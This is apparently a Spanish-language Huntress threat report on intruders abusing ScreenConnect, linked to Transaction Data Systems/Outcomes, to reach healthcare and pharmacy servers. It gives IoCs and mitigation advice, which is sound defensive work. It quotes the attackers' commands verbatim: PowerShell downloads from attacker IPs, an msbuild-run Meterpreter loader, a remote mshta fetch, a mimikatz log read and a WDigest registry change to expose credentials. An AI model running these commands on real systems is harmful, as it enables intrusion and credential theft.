En un desarrollo preocupante dentro del sector de la salud, Huntress identificó una serie de acceso no autorizado que evidencia un reconocimiento interno y una preparación para actividad adicional de actores de amenazas contra múltiples organizaciones de salud.
Los atacantes abusaron de una instancia alojada localmente de una herramienta de acceso remoto ampliamente utilizada, ScreenConnect, usada por la empresa Transaction Data Systems (que recientemente se fusionó y pasó a llamarse Outcomes), creadora del software Rx30 y ComputerRx, para obtener acceso inicial a las organizaciones víctimas. El actor de amenazas procedió a seguir varios pasos, incluyendo la instalación de herramientas de acceso remoto adicionales, como instancias de ScreenConnect o AnyDesk, para asegurar acceso persistente a los entornos.
Descripción general
En este artículo, hay múltiples instancias de ScreenConnect en juego; se observaron en total cuatro instancias, en dos endpoints, de organizaciones completamente distintas (es decir, no la misma empresa, no administradas por el mismo MSP, separadas geográficamente, etc.). Una de esas instancias de ScreenConnect apareció y fue usada por el actor de amenazas en ambos endpoints.
Hubo similitudes en las tácticas, técnicas y procedimientos (TTPs) en ambos endpoints, así como múltiples intersecciones en los indicadores de compromiso (IOCs). Específicamente, se observó que una instancia de ScreenConnect (instancia B) se usaba activamente en ambos endpoints, se observó que la cuenta “[redactado 1]” se usaba para acceder a ambos endpoints a través de ScreenConnect, y el archivo test.xml se descargó en ambos endpoints mediante PowerShell.
Endpoint 1
El endpoint 1 es un sistema Windows Server 2019 Standard dentro de una infraestructura del sector farmacéutico. Los datos de registro permitieron al equipo de Huntress “ver” hasta el 9 de agosto de 2023, donde el equipo observó que se accedía a la instancia A de ScreenConnect mediante una cuenta llamada “[redactado 1]”. Hubo mensajes repetidos de “Conectado” y “Desconectado” para la cuenta hasta que se descargó y ejecutó el archivo ConnectWiseControl.ClientSetup.msi, instalando la instancia B de ScreenConnect en el endpoint. Luego, a partir del 10 de agosto de 2023, la cuenta “[redactado 1]” se usó para acceder al endpoint a través de la instancia B de ScreenConnect. Hubo varios pares de mensajes “Conectado” y “Desconectado” en los registros para la cuenta “[redactado 1]” hasta el 28 de octubre de 2023.
El 28 de octubre, la cuenta “[redactado 2]” se usó para acceder a la instancia B de ScreenConnect, y ejecutar el siguiente comando de PowerShell:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('http://2.57.149[.]103/a.msi', 'C:\Users\Administrator\Documents\a.msi') }"
El archivo a.msi se ejecutó mediante MsiExec.exe, instalando la instancia C de ScreenConnect en el endpoint, conectándose a la dirección IP 45.66.230[.]146 a través del puerto 8041. Poco después de que terminara la instalación, la cuenta “[redactado 2]” se desconectó de la instancia B de ScreenConnect.
Dos días después, el 30 de octubre, la instancia C de ScreenConnect se usó para ejecutar el siguiente comando de PowerShell:
powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://119.91.138[.]133:443/test.xml', 'c:\programdata\test.xml')"
Casi 20 horas después, el 31 de octubre, la instancia B de ScreenConnect se usó para ejecutar el siguiente comando:
C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\programdata\test.xml
El payload, test.xml, consiste en código C# que bifurca el proyecto público nps para evadir la detección y ejecutar procesos. Según su diseño, el payload intenta cargar una instancia de Metasploit Meterpreter en memoria, pero las protecciones antimalware del sistema lo identificaron e intentaron detener su ejecución. Sin embargo, esto no parece haber tenido éxito, ya que se observaron procesos adicionales lanzados a través del servicio Printer Spooler, spoolsv.exe. Por ejemplo, se observó la ejecución de los siguientes procesos:
nslookup myip.opendns[.]com. Resolver1.opendns[.]com
powershell -command "Import-Module ActiveDirectory;Get-ADComputer -Filter * -Properties * | Sort IPv4Address | FT Name, ipv4*, oper*, LastLogonDate -Autosize"
C:\Windows\system32\cmd.exe /S /D /c type C:\Windows\System32\mimilsa.log | findstr /V Mailbox
Endpoint 2
El endpoint 2 también es un sistema Windows Server 2019 Standard, dentro de una infraestructura del sector salud. Los datos de registro muestran que la instancia B de ScreenConnect (la misma “instancia B” observada en el endpoint 1) se instaló y se conectaba activamente mediante la cuenta “[redactado 1]” desde el 8 de noviembre de 2022. El 1 de noviembre de 2023, el archivo s.msi se transfirió al endpoint a través de la instancia de ScreenConnect; al ejecutar este archivo se instaló la instancia D de ScreenConnect en este endpoint, configurada para conectarse a 185.12.45[.]98 en el puerto 8041.
Era claro que la instancia B de ScreenConnect seguía en ejecución y era accesible en el endpoint; el 5 de noviembre de 2023, un mensaje de error indicó que la instancia intentó conectarse al endpoint configurado, y se observó un mensaje del cliente DNS que indicaba que no se pudo resolver el endpoint configurado.
El 6 de noviembre, se ejecutó el siguiente comando de PowerShell a través de la instancia D de ScreenConnect:
powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('http://119.91.138[.]133:443/test.xml', 'c:\programdata\test.xml')
No se observó en este endpoint el uso de msbuild.exe para compilar el archivo y ejecutar el payload. Sin embargo, cuatro horas después, se ejecutó el siguiente comando de PowerShell, también a través de la instancia D de ScreenConnect:
powershell -Command $wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://bashupload[.]com/PXYpf/a.msi', 'c:\programdata\a.msi')
Este archivo se ejecutó mediante msiexec.exe, instalando el “AnyDeskMSI Service”. Sin embargo, aproximadamente minuto y medio después de iniciarse, este servicio se detuvo mediante taskkill.exe.
Aproximadamente cuatro horas después, el actor de amenazas hizo varios intentos de crear la cuenta de usuario “manager” y agregarla al grupo de Administradores local en el endpoint. Una vez que sus esfuerzos tuvieron éxito, el actor de amenazas cerró sesión, luego volvió a iniciar sesión en la instancia D de ScreenConnect mediante la cuenta recién creada, y luego usó esa instancia para transferir y ejecutar el archivo Advanced_IP_Scanner_2.5.4594.1.exe. Finalmente, se observó que el actor de amenazas ejecutaba los siguientes comandos:
mshta http://119.91.138[.]133:9999/5E1Ch
taskkill /F /IM mshta.exe
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Instancia B de ScreenConnect
La instancia B de ScreenConnect, encontrada en ambos endpoints y a la que se accedió mediante la cuenta “[redactado 1]”, según el archivo user.config recuperado de uno de los endpoints monitoreados por Huntress, está vinculada a rs.tdsclinical[.]com.
El dominio observado es legítimo y está asociado con Transaction Data Systems (ahora llamada Outcomes). Por el momento, Huntress no puede determinar si Transaction Data Systems misma ha sido vulnerada, si se filtraron credenciales de un empleado o usuario legítimo asociado con Transaction Data Systems, o si algún otro mecanismo estuvo involucrado, vinculando su administración remota de estos clientes con el abuso posterior por parte del actor de amenazas.
Indicadores técnicos de compromiso (IoCs)
Huntress ha identificado y urge tomar acción inmediata ante los siguientes IoCs:
| Dirección IP | Proveedor de hosting | Ubicación del hosting | Función |
|---|---|---|---|
| 119.91.138[.]133 | Tencent Computer Systems | CN | Infraestructura principal para almacenar y recuperar payloads posteriores al acceso |
| 185.12.45[.]98 | Private Layer Inc | PA | Servidor de conexión asociado con la instancia maliciosa D de ScreenConnect |
| 45.66.230[.]146 | Delis LLC | NL | Servidor de conexión asociado con la instancia maliciosa C de ScreenConnect |
| 2.57.149[.]103 | Red Byte LLC | PL | Servidor de hosting para la instalación MSI de AnyDesk |
Archivos y payloads asociados
Nombre
SHA256
Función
test.xml
9f42bf3a61faaab8f86abb3c7f9db417bffb3474a55169a4efb1d2386545e4e8
Payload en C# diseñado para cargar Meterpreter en la memoria de la víctima
a.msi
70f865a7f8a01356685b17abdf6ac738e9a9098f1ae2d5a34cfa3610cb28fc56
Instalador MSI de AnyDesk
s.msi
8c3b4febe58df0a01126d78109f52035d34a4e03f02b5d4fca3e4d94f3f657b3
Instalador MSI de ScreenConnect
IDs de instancia de ScreenConnect
ID de instancia de ScreenConnect
Descripción
adf02e34cba839d2
ID de instancia B de ScreenConnect, asociada con rs.tdsclinical[.]com
e3e2410d655306ff
ID de instancia C de ScreenConnect, asociada con 45.66.230[.]146
4974c38508ef2b18
ID de instancia D de ScreenConnect, asociada con 185.12.45[.]98
Rutas y nombres de archivo
C:\programdata\a.msi
C:\programdata\test.xml
C:\Users\Administrator\Documents\a.msi
S.msi
C:\Users\manager\Documents\ConnectWiseControl\Files\Advanced_IP_Scanner_2.5.4594.1.exe
C:\Program Files (x86)\ScreenConnect Client (<unique identifier>)\ScreenConnect.ClientService.exe
Observables adicionales
Mientras investigaban este evento, los analistas de Huntress identificaron un directorio abierto en 2.57.149[.]103, que se muestra en la siguiente figura:
Además de a.msi, el instalador de AnyDesk mencionado anteriormente, se encontraron dos archivos adicionales:
- b.msi (f28ee671c0f894154dd8c145f2b6b819b63348c785a682f60f37529a2aae174e): otro instalador del cliente de ScreenConnect.
- t.zip (ba8521ef14f1ec09f0bcb8f490e30322ca4eb84fa0013ee3bbe9c6a24866d334): un archivo comprimido que contiene tres payloads adicionales:
- WinPcap_4_1_3.exe (fc4623b113a1f603c0d9ad5f83130bd6de1c62b973be9892305132389c8588de): un ejecutable legítimo de WinPcap versión 4.1.3.
- Masscan64.exe (174f91806e8bc1c0dea24192f7d4afcefc40a1731827b32939d4f411e8402d75): una versión compilada del escáner de puertos TCP Masscan.
- veeam.exe (45c8716c69f56e26c98369e626e0b47d7ea5e15d3fb3d97f0d5b6e8997299d1a): un ejecutable que contiene código para explotar CVE-2023-27532 en el software Veeam, divulgado en marzo de 2023.
La IP en cuestión parece ser un repositorio de herramientas para actores de amenazas, aunque la falta de observaciones sobre b.msi y los payloads en t.zip en los entornos monitoreados hace incierta su asociación con los incidentes de ScreenConnect. Sin embargo, los payloads en cuestión coinciden con los comportamientos generales observados en cuanto a la instalación de herramientas de acceso remoto (b.msi) y payloads asociados con el reconocimiento del sistema (masscan64.exe) y la captura de datos (WinPcap_4_1_3.exe). La excepción es veeam.exe, ya que toda la demás actividad observada indica una combinación de captura o reutilización de credenciales con técnicas living-off-the-land o abuso de software legítimo.
Guía de mitigación
Las farmacias y otras organizaciones de salud que puedan ser clientes de Transaction Data Systems/Outcomes deben examinar inmediatamente sus sistemas y redes en busca de los IoCs anteriores. Cualquier hallazgo de estos debe tomarse en serio e investigarse con prontitud. Dadas las posibles implicaciones de una vulneración así en el sector de la salud, en particular en lo relativo a los datos de pacientes, la privacidad y la disponibilidad de servicios críticos, es esencial una respuesta integral.
Si quieres que alguien más vigile tu entorno mientras defines su alcance, inicia una prueba gratuita con nosotros para que nuestro SOC, disponible 24/7, esté atento por ti.
Es fundamental que las organizaciones del sector de la salud reconozcan la gravedad de este tipo de intrusiones y tomen medidas concertadas para proteger su infraestructura. El monitoreo reforzado de endpoints, marcos sólidos de ciberseguridad y la caza de amenazas proactiva ya no son opcionales, sino una necesidad frente a ciberamenazas tan sofisticadas.
Contacto con Transaction Data Systems/Outcomes
En nuestro esfuerzo por responder de manera responsable a esta situación, hemos hecho varios intentos a través de distintos canales para contactar a Transaction Data Systems (ahora Outcomes) y comunicarles nuestros hallazgos, además de ofrecer apoyo para abordar estos incidentes. Aún no hemos logrado comunicarnos con su equipo.
Seguimos abiertos y listos para colaborar por la seguridad de todas las partes involucradas.